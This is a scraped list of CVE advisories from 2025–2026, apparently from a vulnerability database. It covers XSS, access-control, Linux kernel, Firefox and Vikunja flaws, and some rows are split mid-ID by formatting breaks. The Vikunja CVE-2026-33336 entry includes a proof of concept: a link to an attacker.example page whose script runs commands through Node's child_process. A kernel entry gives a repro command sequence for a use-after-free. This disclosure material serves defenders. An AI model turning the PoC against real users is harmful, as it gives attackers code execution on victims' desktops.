CVE-2026-4474	A flaw has been found in itsourcecode University Management System 1.0. Impacted is an unknown function of the file /admin_single_student_update.php. This manipulation of the argument st_name causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used.	2.4	More Details
CVE-2026-4356	A flaw has been found in itsourcecode University Management System 1.0. Affected is an unknown function of the file /add_result.php. Executing a manipulation of the argument vr can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used.	2.4	More Details
CVE-2026-4576	A vulnerability has been found in code-projects Exam Form Submission 1.0. Impacted is an unknown function of the file /admin/update_s5.php. Such manipulation of the argument sname leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.	2.4	More Details
CVE-2026-4575	A flaw has been found in code-projects Exam Form Submission 1.0. This issue affects some unknown processing of the file /admin/update_s2.php. This manipulation of the argument sname causes cross site scripting. The attack can be initiated remotely. The exploit has been published and may be used.	2.4	More Details
CVE-2026-4595	A vulnerability was determined in code-projects Exam Form Submission 1.0. This vulnerability affects unknown code of the file /admin/update_s6.php. Executing a manipulation of the argument sname can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. If you want to get the best quality for vulnerability data then you always have to consider VulDB.	2.4	More Details
CVE-2026-4544	A vulnerability was determined in Wavlink WL-WN578W2 221110. This affects an unknown function of the file /cgi-bin/login.cgi of the component POST Request Handler. Executing a manipulation of the argument homepage/hostname/login_page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	2.4	More Details
CVE-2026-30888	Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 allow a moderator to edit site policy documents (ToS, guidelines, privacy policy) that they are explicitly prohibited from modifying. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	2.2	More Details
CVE-2026-33408	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, moderators were able to see the first 40 characters of post edits in PMs and private categories. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	2.2	More Details
CVE-2026-33550	SOGo before 5.12.5 does not renew the OTP if a user disables/enables it, and has a too short length (only 12 digits instead of the 20 recommended).	2.0	More Details
CVE-2026-32752	FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. In versions 1.8.208 and below, the ThreadPolicy::edit() method contains a broken access control vulnerability that allows any authenticated user (regardless of role or mailbox access) to read and modify all customer-created thread messages across all mailboxes. This flaw enables silent modification of customer messages (evidence tampering), bypasses the entire mailbox permission model, and constitutes a GDPR/compliance violation. The issue has been fixed in version 1.8.209.	0.0	More Details
CVE-2026-33189	Rejected reason: Further research determined the issue originates from a different product.	N/A	More Details
CVE-2026-23273	In the Linux kernel, the following vulnerability has been resolved: macvlan: observe an RCU grace period in macvlan_common_newlink() error path valis reported that a race condition still happens after my prior patch. macvlan_common_newlink() might have made @dev visible before detecting an error, and its caller will directly call free_netdev(dev). We must respect an RCU period, either in macvlan or the core networking stack. After adding a temporary mdelay(1000) in macvlan_forward_source_one() to open the race window, valis repro was: ip link add p1 type veth peer p2 ip link set address 00:00:00:00:00:20 dev p1 ip link set up dev p1 ip link set up dev p2 ip link add mv0 link p2 type macvlan mode source (ip link add invalid% link p2 type macvlan mode source macaddr add 00:00:00:00:00:20 &) ; sleep 0.5 ; ping -c1 -I p1 1.2.3.4 PING 1.2.3.4 (1.2.3.4): 56 data bytes RTNETLINK answers: Invalid argument BUG: KASAN: slab-use-after-free in macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) Read of size 8 at addr ffff888016bb89c0 by task e/175 CPU: 1 UID: 1000 PID: 175 Comm: e Not tainted 6.19.0-rc8+ #33 NONE Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014 Call Trace: <IRQ> dump_stack_lvl (lib/dump_stack.c:123) print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) ? macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) kasan_report (mm/kasan/report.c:597) ? macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) ? tasklet_init (kernel/softirq.c:983) macvlan_handle_frame (drivers/net/macvlan.c:501) Allocated by task 169: kasan_save_stack (mm/kasan/common.c:58) kasan_save_track (./arch/x86/include/asm/current.h:25 mm/kasan/common.c:70 mm/kasan/common.c:79) __kasan_kmalloc (mm/kasan/common.c:419) __kvmalloc_node_noprof (./include/linux/kasan.h:263 mm/slub.c:5657 mm/slub.c:7140) alloc_netdev_mqs (net/core/dev.c:12012) rtnl_create_link (net/core/rtnetlink.c:3648) rtnl_newlink (net/core/rtnetlink.c:3830 net/core/rtnetlink.c:3957 net/core/rtnetlink.c:4072) rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) netlink_rcv_skb (net/netlink/af_netlink.c:2550) netlink_unicast	N/A	More Details

	(net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sys_sendto (net/socket.c:727 net/socket.c:742 net/socket.c:2206) __x64_sys_sendto (net/socket.c:2209) do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:131) Freed by task 169: kasan_save_stack (mm/kasan/common.c:58) kasan_save_track (./arch/x86/include/asm/current.h:25 mm/kasan/common.c:70 mm/kasan/common.c:79) kasan_save_free_info (mm/kasan/generic.c:587) __kasan_slab_free (mm/kasan/common.c:287) kfree (mm/slub.c:6674 mm/slub.c:6882) rtnl_newlink (net/core/rtnetlink.c:3845 net/core/rtnetlink.c:3957 net/core/rtnetlink.c:4072) rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) netlink_rcv_skb (net/netlink/af_netlink.c:2550) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sys_sendto (net/socket.c:727 net/socket.c:742 net/socket.c:2206) __x64_sys_sendto (net/socket.c:2209) do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:131)		
CVE-2025-12518	beefree.io SDK is vulnerable to Stored XSS in Social Media icon URL parameter in email builder functionality. Malicious attacker can inject arbitrary HTML and JS into template, which will be rendered/executed when visiting preview page. However due to beefree's Content Security Policy not all payloads will execute successfully. This issue has been fixed in version 3.47.0.	N/A	More Details
CVE-2026-4718	Undefined behavior in the WebRTC: Signaling component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	N/A	More Details
CVE-2025-71265	In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: fix infinite loop in attr_load_runs_range on inconsistent metadata We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed NTFS image can cause an infinite loop when an attribute header indicates an empty run list, while directory entries reference it as containing actual data. In NTFS, setting evcn=-1 with svcn=0 is a valid way to represent an empty run list, and run_unpack() correctly handles this by checking if evcn + 1 equals svcn and returning early without parsing any run data. However, this creates a problem when there is metadata inconsistency, where the attribute header claims to be empty (evcn=-1) but the caller expects to read actual data. When run_unpack() immediately returns success upon seeing this condition, it leaves the runs_tree uninitialized with run->runs as a NULL. The calling function attr_load_runs_range() assumes that a successful return means that the runs were loaded and sets clen to 0, expecting the next run_lookup_entry() call to succeed. Because runs_tree remains uninitialized, run_lookup_entry() continues to fail, and the loop increments vcn by zero (vcn += 0), leading to an infinite loop. This patch adds a retry counter to detect when run_lookup_entry() fails consecutively after attr_load_runs_vcn(). If the run is still not found on the second attempt, it indicates corrupted metadata and returns -EINVAL, preventing the Denial-of-Service (DoS) vulnerability.	N/A	More Details
CVE-2025-71266	In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: check return value of indx_find to avoid infinite loop We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed dentry in the ntfs3 filesystem can cause the kernel to hang during the lookup operations. By setting the HAS_SUB_NODE flag in an INDEX_ENTRY within a directory's INDEX_ALLOCATION block and manipulating the VCN pointer, an attacker can cause the indx_find() function to repeatedly read the same block, allocating 4 KB of memory each time. The kernel lacks VCN loop detection and depth limits, causing memory exhaustion and an OOM crash. This patch adds a return value check for fnd_push() to prevent a memory exhaustion vulnerability caused by infinite loops. When the index exceeds the size of the fnd->nodes array, fnd_push() returns -EINVAL. The indx_find() function checks this return value and stops processing, preventing further memory allocation.	N/A	More Details
CVE-2025-71267	In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: fix infinite loop triggered by zero-sized ATTR_LIST We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed NTFS image can cause an infinite loop when an ATTR_LIST attribute indicates a zero data size while the driver allocates memory for it. When ntfs_load_attr_list() processes a resident ATTR_LIST with data_size set to zero, it still allocates memory because of al_aligned(0). This creates an inconsistent state where ni->attr_list.size is zero, but ni->attr_list.le is non-null. This causes ni_enum_attr_ex to incorrectly assume that no attribute list exists and enumerates only the primary MFT record. When it finds ATTR_LIST, the code reloads it and restarts the enumeration, repeating indefinitely. The mount operation never completes, hanging the kernel thread. This patch adds validation to ensure that data_size is non-zero before memory allocation. When a zero-sized ATTR_LIST is detected, the function returns -EINVAL, preventing a DoS vulnerability.	N/A	More Details
CVE-2026-4710	Incorrect boundary conditions in the Audio/Video component. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	N/A	More Details
CVE-2026-4721	Memory safety bugs present in Firefox ESR 115.33, Firefox ESR 140.8, Thunderbird ESR 140.8, Firefox 148 and Thunderbird 148. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	N/A	More Details
CVE-2026-33334	Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the renderer process without `contextIsolation` or `sandbox`. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue.	N/A	More Details

CVE-2026-23242	In the Linux kernel, the following vulnerability has been resolved: RDMA/siw: Fix potential NULL pointer dereference in header processing If siw_get_hdr() returns -EINVAL before set_rx_fpdu_context(), qp->rx_fpdu can be NULL. The error path in siw_tcp_rx_data() dereferences qp->rx_fpdu->more_ddp_segs without checking, which may lead to a NULL pointer deref. Only check more_ddp_segs when rx_fpdu is present. KASAN splat: [101.384271] KASAN: null-ptr-deref in range [0x00000000000000c0-0x00000000000000c7] [101.385869] RIP: 0010:siw_tcp_rx_data+0x13ad/0x1e50	N/A	More Details
CVE-2026-33335	Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper passes URLs from `window.open()` calls directly to `shell.openExternal()` without any validation or protocol allowlisting. An attacker who can place a link with `target="_blank"` (or that otherwise triggers `window.open`) in user-generated content can cause the victim's operating system to open arbitrary URI schemes, invoking local applications, opening local files, or triggering custom protocol handlers. Version 2.2.0 patches the issue.	N/A	More Details
CVE-2026-33336	Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue. ## Root cause Two misconfigurations combine to create this vulnerability: 1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.). 2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags ## Attack scenario 1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process. 6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user. ## Impact Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient. ## Proof of concept 1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine. ## Credits This vulnerability was found using [GitHub Security Lab Taskflows] (https://github.com/GitHubSecurityLab/seclab-taskflows).	N/A	More Details
CVE-2026-23274	In the Linux kernel, the following vulnerability has been resolved: netfilter: xt_IDLETIMER: reject rev0 reuse of ALARM timer labels IDLETIMER revision 0 rules reuse existing timers by label and always call mod_timer() on timer->timer. If the label was created first by revision 1 with XT_IDLETIMER_ALARM, the object uses alarm timer semantics and timer->timer is never initialized. Reusing that object from revision 0 causes mod_timer() on an uninitialized timer_list, triggering debugobjects warnings and possible panic when panic_on_warn=1. Fix this by rejecting revision 0 rule insertion when an existing timer with the same label is of ALARM type.	N/A	More Details
CVE-2026-32266	The Google Cloud Storage for Craft CMS plugin provides a Google Cloud Storage integration for Craft CMS. In versions on the 2.x branch prior to 2.2.1, the `DefaultController->actionLoadBucketData()` endpoint allows unauthenticated users with a valid CSRF token to view a list of buckets that the plugin is allowed to see. Users should update to version 2.2.1 of the plugin to mitigate the issue.	N/A	More Details
CVE-2026-33668	Vikunja is an open-source self-hosted task management platform. Starting in version 0.18.0 and prior to version 2.2.1, when a user account is disabled or locked, the status check is only enforced on the local login and JWT token refresh paths. Three other authentication paths — API tokens, CalDAV basic auth, and OpenID Connect — do not verify user status, allowing disabled or locked users to continue accessing the API and syncing data. Version 2.2.1 patches the issue.	N/A	More Details
CVE-2026-4720	Memory safety bugs present in Firefox ESR 140.8, Thunderbird ESR 140.8, Firefox 148 and Thunderbird 148. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 149, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	N/A	More Details
CVE-2026-33221	Nhost is an open source Firebase alternative with GraphQL. Prior to version 0.12.0, the storage service's file upload handler trusts the client-provided Content-Type header without performing server-side MIME type detection. This allows an attacker to upload files with an arbitrary MIME type, bypassing any MIME-type-based restrictions configured on storage buckets. This issue has been patched in version 0.12.0.	N/A	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: perf: Fix __perf_event_overflow() vs perf_remove_from_context() race Make sure that __perf_event_overflow() runs with IRQs disabled for all possible	...	More

2026-23271	callchains. Specifically the software events can end up running it with only preemption disabled. This opens up a race vs perf_event_exit_event() and friends that will go and free various things the overflow path expects to be present, like the BPF program.	N/A	More Details
CVE-2026-4724	Undefined behavior in the Audio/Video component. This vulnerability affects Firefox < 149 and Thunderbird < 149.	N/A	More Details
CVE-2026-23272	In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: unconditionally bump set->nelems before insertion In case that the set is full, a new element gets published then removed without waiting for the RCU grace period, while RCU reader can be walking over it already. To address this issue, add the element transaction even if set is full, but toggle the set_full flag to report -ENFILE so the abort path safely unwinds the set to its previous state. As for element updates, decrement set->nelems to restore it. A simpler fix is to call synchronize_rcu() in the error path. However, with a large batch adding elements to already maxed-out set, this could cause noticeable slowdown of such batches.	N/A	More Details
CVE-2026-33187	Rejected reason: Further research determined the issue originates from a different product.	N/A	More Details
CVE-2026-4726	Denial-of-service in the XML component. This vulnerability affects Firefox < 149 and Thunderbird < 149.	N/A	More Details
CVE-2026-33188	Rejected reason: Further research determined the issue originates from a different product.	N/A	More Details
CVE-2026-4727	Denial-of-service in the Libraries component in NSS. This vulnerability affects Firefox < 149 and Thunderbird < 149.	N/A	More Details
CVE-2026-4728	Spoofing issue in the Privacy: Anti-Tracking component. This vulnerability affects Firefox < 149 and Thunderbird < 149.	N/A	More Details
CVE-2026-32265	The Amazon S3 for Craft CMS plugin provides an Amazon S3 integration for Craft CMS. In versions 2.0.2 through 2.2.4, unauthenticated users can view a list of buckets the plugin has access to. The `BucketsController->actionLoadBucketData()` endpoint allows unauthenticated users with a valid CSRF token to view a list of buckets that the plugin is allowed to see. Users should update to version 2.2.5 of the plugin to mitigate the issue.	N/A	More Details
CVE-2026-4729	Memory safety bugs present in Firefox 148 and Thunderbird 148. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 149 and Thunderbird < 149.	N/A	More Details
CVE-2026-33210	Ruby JSON is a JSON implementation for Ruby. From version 2.14.0 to before versions 2.15.2.1, 2.17.1.2, and 2.19.2, a format string injection vulnerability can lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents. This issue has been patched in versions 2.15.2.1, 2.17.1.2, and 2.19.2.	N/A	More Details
CVE-2026-32768	Chall-Manager is a platform-agnostic system able to start Challenges on Demand of a player. In versions prior to 0.6.5, due to a miswritten NetworkPolicy, a malicious actor can pivot from an instance to any Pod out of the origin namespace. This breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement. In the specific case of sdk/kubernetes.Kompose it does not isolate the instances. This issue has been fixed in version 0.6.5.	N/A	More Details
CVE-2025-31703	A vulnerability found in Dahua NVR/XVR device. A third-party malicious attacker with physical access to the device may gain access to a restricted shell via the serial port, and bypasses the shell's authentication mechanism to escalate privileges.	N/A	More Details
CVE-2026-2598	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-32268	The Azure Blob Storage for Craft CMS plugin provides an Azure Blob Storage integration for Craft CMS. In versions on the 2.x branch prior to 2.1.1, unauthenticated users can view a list of buckets the plugin has access to. The `DefaultController->actionLoadContainerData()` endpoint allows unauthenticated users with a valid CSRF token to view a list of buckets that the plugin is allowed to see. Because Azure can return sensitive data in error messages, additional attack vectors are also exposed. Users should update to version 2.1.1 of the plugin to mitigate the issue.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: io_uring: ensure ctx->rings is stable for task work flags manipulation If DEFER_TASKRUN | SETUP_TASKRUN is used and task work is added while the ring is being resized, it's possible for the OR'ing of IORING_SQ_TASKRUN to happen in the small window of swapping into the new rings and the old rings being freed. Prevent this by adding a 2nd ->rings pointer, ->rings_rcu, which is	N/A	More

2026-23275	protected by RCU. The task work flags manipulation is inside RCU already, and if the resize ring freeing is done post an RCU synchronize, then there's no need to add locking to the fast path of task work additions. Note: this is only done for DEFER_TASKRUN, as that's the only setup mode that supports ring resizing. If this ever changes, then they too need to use the io_ctx_mark_taskrun() helper.		Details
CVE-2026-30932	Froxlor is open source server administration software. Prior to version 2.3.5, the DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs. This issue has been patched in version 2.3.5.	N/A	More Details
CVE-2026-23276	In the Linux kernel, the following vulnerability has been resolved: net: add xmit recursion limit to tunnel xmit functions Tunnel xmit functions (iptunnel_xmit, ip6tunnel_xmit) lack their own recursion limit. When a bond device in broadcast mode has GRE tap interfaces as slaves, and those GRE tunnels route back through the bond, multicast/broadcast traffic triggers infinite recursion between bond_xmit_broadcast() and ip_tunnel_xmit()/ip6_tnl_xmit(), causing kernel stack overflow. The existing XMIT_RECURSION_LIMIT (8) in the no-qdisc path is not sufficient because tunnel recursion involves route lookups and full IP output, consuming much more stack per level. Use a lower limit of 4 (IP_TUNNEL_RECURSION_LIMIT) to prevent overflow. Add recursion detection using dev_xmit_recursion helpers directly in iptunnel_xmit() and ip6tunnel_xmit() to cover all IPv4/IPv6 tunnel paths including UDP encapsulated tunnels (VXLAN, Geneve, etc.). Move dev_xmit_recursion helpers from net/core/dev.h to public header include/linux/netdevice.h so they can be used by tunnel code. BUG: KASAN: stack-out-of-bounds in blake2s.constprop.0+0xe7/0x160 Write of size 32 at addr ffff88810033fed0 by task kworker/0:1/11 Workqueue: mld mld_ifc_work Call Trace: <TASK> __build_flow_key.constprop.0 (net/ipv4/route.c:515) ip_rt_update_pmtu (net/ipv4/route.c:1073) iptunnel_xmit (net/ipv4/ip_tunnel_core.c:84) ip_tunnel_xmit (net/ipv4/ip_tunnel.c:847) gre_tap_xmit (net/ipv4/ip_gre.c:779) dev_hard_start_xmit (net/core/dev.c:3887) sch_direct_xmit (net/sched/sch_generic.c:347) __dev_queue_xmit (net/core/dev.c:4802) bond_dev_queue_xmit (drivers/net/bonding/bond_main.c:312) bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5279) bond_start_xmit (drivers/net/bonding/bond_main.c:5530) dev_hard_start_xmit (net/core/dev.c:3887) __dev_queue_xmit (net/core/dev.c:4841) ip_finish_output2 (net/ipv4/ip_output.c:237) ip_output (net/ipv4/ip_output.c:438) iptunnel_xmit (net/ipv4/ip_tunnel_core.c:86) gre_tap_xmit (net/ipv4/ip_gre.c:779) dev_hard_start_xmit (net/core/dev.c:3887) sch_direct_xmit (net/sched/sch_generic.c:347) __dev_queue_xmit (net/core/dev.c:4802) bond_dev_queue_xmit (drivers/net/bonding/bond_main.c:312) bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5279) bond_start_xmit (drivers/net/bonding/bond_main.c:5530) dev_hard_start_xmit (net/core/dev.c:3887) __dev_queue_xmit (net/core/dev.c:4841) ip_finish_output2 (net/ipv4/ip_output.c:237) ip_output (net/ipv4/ip_output.c:438) iptunnel_xmit (net/ipv4/ip_tunnel_core.c:86) ip_tunnel_xmit (net/ipv4/ip_tunnel.c:847) gre_tap_xmit (net/ipv4/ip_gre.c:779) dev_hard_start_xmit (net/core/dev.c:3887) sch_direct_xmit (net/sched/sch_generic.c:347) __dev_queue_xmit (net/core/dev.c:4802) bond_dev_queue_xmit (drivers/net/bonding/bond_main.c:312) bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5279) bond_start_xmit (drivers/net/bonding/bond_main.c:5530) dev_hard_start_xmit (net/core/dev.c:3887) __dev_queue_xmit (net/core/dev.c:4841) mld_sendpack mld_ifc_work process_one_work worker_thread </TASK>	N/A	More Details
CVE-2026-33155	DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.	N/A	More Details
CVE-2026-33539	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.59 and 9.6.0-alpha.53, an attacker with master key access can execute arbitrary SQL statements on the PostgreSQL database by injecting SQL metacharacters into field name parameters of the aggregate $group pipeline stage or the distinct operation. This allows privilege escalation from Parse Server application-level administrator to PostgreSQL database-level access. Only Parse Server deployments using PostgreSQL are affected. MongoDB deployments are not affected. This issue has been patched in versions 8.6.59 and 9.6.0-alpha.53.	N/A	More Details
CVE-2026-33624	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.60 and 9.6.0-alpha.54, an attacker who obtains a user's password and a single MFA recovery code can reuse that recovery code an unlimited number of times by sending concurrent login requests. This defeats the single-use design of recovery codes. The attack requires the user's password, a valid recovery code, and the ability to send concurrent requests within milliseconds. This issue has been patched in versions 8.6.60 and 9.6.0-alpha.54.	N/A	More Details
CVE-2026-33627	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.61 and 9.6.0-alpha.55, an authenticated user calling GET /users/me receives unsanitized auth data, including sensitive credentials such as MFA TOTP secrets and recovery codes. The endpoint internally uses master-level authentication for the session query, and the master context leaks through to the user data, bypassing auth adapter sanitization. An attacker who obtains a user's session token can extract MFA secrets to generate valid TOTP codes indefinitely. This issue has been patched in versions 8.6.61 and 9.6.0-alpha.55.	N/A	More Details
CVE-2026-	Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix	N/A	More Details

33769	later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.		
CVE-2026-32948	sbt is a build tool for Scala, Java, and others. From version 0.9.5 to before version 1.12.7, on Windows, sbt uses Process("cmd", "/c", ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &, |, and ; as command separators, a malicious fragment can execute arbitrary commands. This issue has been patched in version 1.12.7.	N/A	More Details
CVE-2026-33322	MinIO is a high-performance object storage system. From RELEASE.2022-11-08T05-27-07Z to before RELEASE.2026-03-17T21-25-16Z, a JWT algorithm confusion vulnerability in MinIO's OpenID Connect authentication allows an attacker who knows the OIDC ClientSecret to forge arbitrary identity tokens and obtain S3 credentials with any policy, including consoleAdmin. This issue has been patched in RELEASE.2026-03-17T21-25-16Z.	N/A	More Details
CVE-2026-32309	Cryptomator encrypts data being stored on cloud infrastructure. Prior to version 1.19.1, the Hub-based unlock flow explicitly supports hub+http and consumes Hub endpoints from vault metadata without enforcing HTTPS. As a result, a vault configuration can drive OAuth and key-loading traffic over plaintext HTTP or other insecure endpoint combinations. An active network attacker can tamper with or observe this traffic. Even when the vault key is encrypted for the device, bearer tokens and endpoint-level trust decisions are still exposed to downgrade and interception. This issue has been patched in version 1.19.1.	N/A	More Details
CVE-2026-33332	NiceGUI is a Python-based UI framework. Prior to version 3.9.0, NiceGUI's app.add_media_file() and app.add_media_files() media routes accept a user-controlled query parameter that influences how files are read during streaming. The parameter is passed to the range-response implementation without validation, allowing an attacker to bypass chunked streaming and force the server to load entire files into memory at once. With large media files and concurrent requests, this can lead to excessive memory consumption, degraded performance, or denial of service. This issue has been patched in version 3.9.0.	N/A	More Details
CVE-2026-33347	league/commonmark is a PHP Markdown parser. From version 2.3.0 to before version 2.8.2, the DomainFilteringAdapter in the Embed extension is vulnerable to an allowlist bypass due to a missing hostname boundary assertion in the domain-matching regex. An attacker-controlled domain like youtube.com.evil passes the allowlist check when youtube.com is an allowed domain. This issue has been patched in version 2.8.2.	N/A	More Details
CVE-2026-33353	Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.6, an authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This issue has been patched in version 0.11.6.	N/A	More Details
CVE-2026-33419	MinIO is a high-performance object storage system. Prior to RELEASE.2026-03-17T21-25-16Z, MinIO AIStor's STS (Security Token Service) AssumeRoleWithLDAPIdentity endpoint is vulnerable to LDAP credential brute-forcing due to two combined weaknesses: (1) distinguishable error responses that enable username enumeration, and (2) absence of rate limiting on authentication attempts. An unauthenticated network attacker can enumerate valid LDAP usernames and then perform unlimited password guessing to obtain temporary AWS-style STS credentials, gaining access to the victim's S3 buckets and objects. This issue has been patched in RELEASE.2026-03-17T21-25-16Z.	N/A	More Details
CVE-2026-33511	pyLoad is a free and open-source download manager written in Python. From version 0.4.20 to before version 0.5.0b3.dev97, the local_check decorator in pyLoad's ClickNLoad feature can be bypassed by any remote attacker through HTTP Host header spoofing. This allows unauthenticated remote users to access localhost-restricted endpoints, enabling them to inject arbitrary downloads, write files to the storage directory, and execute JavaScript code. This issue has been patched in version 0.5.0b3.dev97.	N/A	More Details
CVE-2026-22902	A command injection vulnerability has been reported to affect QuNetSwitch. If a local attacker gains an administrator account, they can then exploit the vulnerability to execute arbitrary commands. We have already fixed the vulnerability in the following version: QuNetSwitch 2.0.5.0906 and later	N/A	More Details
CVE-2026-22901	A command injection vulnerability has been reported to affect QuNetSwitch. If a remote attacker gains a user account, they can then exploit the vulnerability to execute arbitrary commands. We have already fixed the vulnerability in the following version: QuNetSwitch 2.0.5.0906 and later	N/A	More Details
CVE-2026-22900	A use of hard-coded credentials vulnerability has been reported to affect QuNetSwitch. The remote attackers can then exploit the vulnerability to gain unauthorized access. We have already fixed the vulnerability in the following version: QuNetSwitch 2.0.5.0906 and later	N/A	More Details
